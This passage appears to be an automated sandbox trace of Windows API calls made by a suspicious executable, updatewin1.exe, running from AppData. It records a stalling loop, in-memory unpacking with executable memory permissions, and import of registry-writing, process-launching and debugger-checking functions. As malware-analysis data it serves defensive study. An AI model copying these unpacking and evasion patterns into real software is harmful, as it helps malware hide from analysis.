nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.925] AddAtomA (lpString=0x0) returned 0x0 [0053.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.926] AddAtomA (lpString=0x0) returned 0x0 [0053.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.944] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.944] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0053.944] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0053.944] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0053.944] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0053.944] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.944] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.944] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0053.944] SetErrorMode (uMode=0x400) returned 0x0 [0053.944] SetErrorMode (uMode=0x0) returned 0x400 [0053.945] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0053.947] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0053.985] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.986] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0053.986] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0053.986] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0053.986] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0053.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0053.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0053.989] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.990] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0053.991] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0053.991] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0053.991] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0053.991] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0053.991] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0053.991] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0053.991] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.991] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0053.991] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0053.991] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0053.991] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0053.991] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0053.991] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0053.991] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0053.991] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0053.992] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0053.992] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0053.992] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0053.992] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0053.992] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0053.992] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0053.992] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0053.992] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0053.995] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0053.995] atexit (param_1=0x5a63d8) returned 0 [0053.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xad1723d0, dwHighDateTime=0x1d54670)) [0053.995] GetCurrentThreadId () returned 0xb18 [0053.995] GetCurrentProcessId () returned 0xb14 [0053.995] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17427277696) returned 1 [0053.995] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.995] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.995] GetLastError () returned 0x57 [0053.995] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.995] GetLastError () returned 0x57 [0053.995] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.996] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.996] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.996] GetLastError () returned 0x57 [0053.996] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.996] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.996] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.996] GetLastError () returned 0x57 [0053.996] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.996] GetLastError () returned 0x57 [0053.996] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.996] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.996] GetProcessHeap () returned 0x590000 [0053.996] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.996] GetLastError () returned 0x57 [0053.996] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.996] GetLastError () returned 0x57 [0053.996] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.997] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.997] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x364) returned 0x5ba9e8 [0053.997] SetLastError (dwErrCode=0x57) [0053.997] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xc00) returned 0x5bad58 [0053.998] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0xa224e704, hStdError=0xfffffffe)) [0053.998] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.998] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.998] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.998] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" " [0053.998] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" " [0053.998] GetACP () returned 0x4e4 [0053.998] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x220) returned 0x5b9ea8 [0053.998] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.998] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0053.998] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0053.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.998] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0053.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0053.999] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.999] GetLastError () returned 0x57 [0053.999] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0053.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x4